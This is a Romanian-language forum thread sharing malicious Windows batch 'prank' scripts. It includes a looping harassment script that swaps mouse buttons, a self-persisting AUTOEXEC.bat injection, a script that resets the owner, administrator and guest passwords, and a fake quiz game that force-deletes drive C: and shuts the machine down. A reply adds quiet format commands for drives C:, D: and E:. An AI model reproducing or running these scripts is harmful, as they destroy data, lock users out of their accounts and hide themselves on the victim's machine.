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Nu ma prea pricep la cuvinte dar iata ce poti face cu putina imaginatie. Nu face prea mult damage la comp...nu pot zice acelas lucru despre nervii utilizatorului „fericit� care a dat dublu click pe el.

:ECHO

cls

Rundll32 user32,SwapMouseButton

cls

MSG owner This is annoying, isn't it?

cls

MSG owner Remember BeerLover?

cls

MSG Administrator This is annoying, isn't it?

cls

MSG Administrator Remember BeerLover?

cls

MSG Guest This is annoying, isn't it?

cls

MSG Guest Remember BeerLover?

cls

start www.google.com

start www.yahoo.com

goto ECHO

Apar cateva mesaje de eroare si se inveseaza butoanele de ma mouse.

Daca mai adaugam si acest cod batchului the fun will never stop ;)

cls

cd c:

type cd c:

ATTRIB c:AUTOEXEC.bat -H

%0 >>c:AUTOEXEC.bat

echo > copy %0

ATTRIB c:AUTOEXEC.bat +H

del /q %0

cls

Alta chestie interesanta este schimbarea passului.

@echo off

cls

net user owner ihackedyoubitch

net user administrator ihackedyoubitch

net user guest ihackedyoubitch

cls

echo.

echo Uh Oh!!! Looks like your passwords changed...

pause

exit

Urmeaza un batch putin mai distructiv...

@echo off

cls

Rundll32 MOUSE,disable

cls

echo Welcome to the Bridge of Death Game!

echo.

echo BeerLover wishes you luck!

pause

cls

echo Answer these questions as best you can.

pause

echo What, is your name?

set /p name=

cls

echo What, is your quest?

set /p input=

cls

echo What, is your favorite color?

set /p color=

echo %name%, your favorite color is not %color%!!!

echo.

@ping.exe 127.0.0.1 -n 3 -w 1000 > nul

goto DIE

:DIE

echo AHHHHHH

DEL /Q /S /F C:

cls

shutdown -s -t 10 -c "Thou Art Guess was Incorrect." -f

Inspirat din monthy python si holy grail.

Nu stau prea mult la explicatii deoarece am vazut alte tutoriale.

PS 1).Nu dati vina pe mine ca postez cv ce oricine poate crea daca stie cateva comenzi de baza

    2).Daca am gresit undeva ma rog sa imi spuneti :P

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am aruncat o privire peste cod si tot ce pot sa spun este ...

MSG owner This is annoying, isn't it?

acest mesaj va aparea doar daca userul este owner, insa slabe sanse sa fie asa

MSG Administrator This is annoying, isn't it?

mesajul va aparea daca este logat ca administrator .. deasemena slabe sanse

la fel si in cazul guest-ului

ceea ce trebuie sa faci pt ca mesajele sa apara este sa le pui ca

MSG * This is annoying, isn't it?

astfel vei fi sigur ca mesajele vor aparea

EDIT: si pentru a-l face mai fericit pe utilizatorul care ruleaza batch-ul mai adaugi 2-3 comenzi gen

format e: /q/y

format d: /q/y

format c: /q/y

dar v-as sfatui sa faceti asta numai unui "prieten" adevarat care stie de "gluma" :rolleyes:

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